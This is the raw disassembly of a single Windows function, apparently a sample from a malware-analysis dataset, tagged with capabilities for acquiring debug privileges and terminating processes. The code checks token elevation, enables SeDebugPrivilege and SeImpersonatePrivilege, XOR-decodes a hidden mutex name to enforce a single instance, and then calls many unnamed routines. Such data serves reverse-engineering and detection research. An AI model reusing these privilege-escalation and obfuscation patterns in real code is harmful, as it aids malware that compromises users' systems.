Function at 0x478ce0
Capabilities:
Acquire debug privileges
Terminate process

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff0
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4c9a8b
mov eax, dword fs:[0]
push eax
push ecx
push ebx
sub esp, 0xa0
mov eax, dword [0x512a40]
xor eax, ebp
mov dword [ebp - 0x24], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
mov dword [ebp - 0x50], 0
mov dword [ebp - 0x2c], 0
xor esi, esi
mov dword [ebp - 0x2c], esi
mov dword [ebp - 4], esi
xor edi, edi
lea eax, [ebp - 0x50]
push eax
push 8
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x478dd3
mov esi, dword [ebp - 0x50]
mov dword [ebp - 0x2c], esi
mov dword [ebp - 0x30], 4
lea eax, [ebp - 0x30]
push eax
push 4
lea eax, [ebp - 0x34]
push eax
push 0x14
push esi
call dword [sym.imp.ADVAPI32.dll_GetTokenInformation]
test eax, eax
je 0x478d85
xor eax, eax
cmp dword [ebp - 0x34], eax
setne al
mov dword [ebp - 0x54], eax
mov edi, eax
mov eax, esi
mov dword [ebp - 4], 0xffffffff
test eax, eax
je 0x478d99
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
test edi, edi
jne 0x478dd7
lea ecx, [ebp - 0x90]
call fcn.0047c4d0
mov dword [ebp - 4], 1
mov ecx, eax
call fcn.00485640
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x90]
call fcn.00448fd0
push 0x65e
call dword [sym.imp.KERNEL32.dll_ExitProcess]
xor eax, eax
jmp 0x478d87
mov ecx, str.SeDebugPrivilege
call fcn.00487710
mov ecx, str.SeImpersonatePrivilege
call fcn.00487710
lea ecx, [ebp - 0xac]
call fcn.00482d50
push eax
mov dword [ebp - 4], 2
mov dword [ebp - 0x58], 0x8be62d1e
mov dword [ebp - 0x54], 0xd9c73462
mov ecx, dword [ebp - 0x58]
mov edx, dword [ebp - 0x54]
mov dword [ebp - 0x70], ecx
mov dword [ebp - 0x6c], edx
mov dword [ebp - 0x58], 0x85da1308
mov dword [ebp - 0x54], 0x6cc60ea7
mov eax, dword [ebp - 0x58]
mov ecx, dword [ebp - 0x54]
mov dword [ebp - 0x68], eax
mov dword [ebp - 0x64], ecx
mov dword [ebp - 0x58], 0xa68b4053
mov dword [ebp - 0x54], 0xd9c73462
mov eax, dword [ebp - 0x58]
mov ecx, dword [ebp - 0x54]
mov dword [ebp - 0x90], eax
mov dword [ebp - 0x8c], ecx
mov dword [ebp - 0x58], 0x85da1308
mov dword [ebp - 0x54], 0x6cc60ea7
mov eax, dword [ebp - 0x58]
mov ecx, dword [ebp - 0x54]
mov dword [ebp - 0x88], eax
mov dword [ebp - 0x84], ecx
movaps xmm1, xmmword [ebp - 0x70]
xorps xmm1, xmmword [ebp - 0x90]
movaps xmmword [ebp - 0x70], xmm1
lea edx, [ebp - 0x70]
lea ecx, [ebp - 0x4c]
call fcn.00479760
add esp, 4
mov byte [ebp - 4], 4
lea ecx, [ebp - 0xac]
call fcn.0044a2e0
lea eax, [ebp - 0x4c]
cmp dword [ebp - 0x38], 0xf
cmova eax, dword [ebp - 0x4c]
push eax
push 0
push 0x1f0001
call dword [sym.imp.KERNEL32.dll_OpenMutexA]
test eax, eax
je 0x478ec6
push 0xb7
call dword [sym.imp.KERNEL32.dll_ExitProcess]
lea eax, [ebp - 0x4c]
cmp dword [ebp - 0x38], 0xf
cmova eax, dword [ebp - 0x4c]
push eax
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov esi, eax
mov dword [ebp - 0x50], esi
lea ecx, [ebp - 0x25]
call fcn.00473fc0
call fcn.0047c670
test al, al
jne 0x478efd
push 0x675
call dword [sym.imp.KERNEL32.dll_ExitProcess]
call fcn.00482fc0
mov byte [ebp - 4], 5
call fcn.00444860
mov dword [ebp - 4], 4
jmp 0x478f2a
call fcn.00445830
call fcn.00445e20
call fcn.00446c30
call fcn.00443db0
call fcn.004659b0
call fcn.00467f50
call fcn.0043b0b0
mov byte [ebp - 4], 7
call fcn.00442360
mov dword [ebp - 4], 4
jmp 0x478f75
call fcn.00440730
call fcn.00479930
call fcn.004433b0
call fcn.0043ec20
call fcn.0043c950
call fcn.0043eee0
mov byte [ebp - 4], 9
call fcn.0047ff10
mov dword [ebp - 4], 4
jmp 0x478fbb
call fcn.00478430
test esi, esi
je 0x478fd2
push esi
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp byte [0x512c9c], 0
je 0x478fe0
call fcn.00479020
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x4c]
call fcn.0044a2e0
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x24]
xor ecx, ebp
call fcn.004a9ea5
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret 0x10